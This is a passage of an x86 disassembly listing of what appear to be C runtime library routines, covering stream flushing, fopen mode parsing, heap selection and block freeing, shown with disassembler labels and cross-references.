sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5


loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_433C70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------


loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_433C70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4CEDE0
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714


loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730


loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 2651922h
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 2670ADCh
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------


loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp


loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------


loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------


loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh


loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4CECC0, esi
		jle	short loc_41A893


loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------


loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax


loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_41A846


loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi


loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_4363A8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------


loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_4363C8
		jnz	short loc_41A92B
		push	1
		pop	eax


loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_4CDB78
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_4CDA0C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4CDA0Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------


loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx


loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4CDB80
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------


loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------


loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h


loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2


loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx


loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97


loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD


loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4CDB78
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_4CECC0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_4CDCB0
		mov	edi, ebx


loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------


loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------


loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_4CDCB0
		mov	[edi+ecx], eax
		mov	eax, dword_4CDCB0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi


loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CDA18
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2740D6Eh
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 27B1523h
		nop
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------


loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2860000h
		nop
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21


loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al


loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E


loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77


loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al


loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64


loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx


loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3


loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------


loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx


loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5


loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1


loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024553h
		dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh,	4CF028A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 4CF024h, 60D3E890h, 0C0330244h
		dd 58016AC3h, 14068C3h,	6A0000h, 0F02435FFh, 0E890004Ch
		dd 23152ACh, 1CA3C085h,	75004CF0h, 4C8BC301h, 25830424h
		dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh
		dd 805C700h, 10004CF0h,	58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CF018
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4CF01C
		lea	ecx, [eax+ecx*4]


loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------


loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx


loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------


loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]


loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx


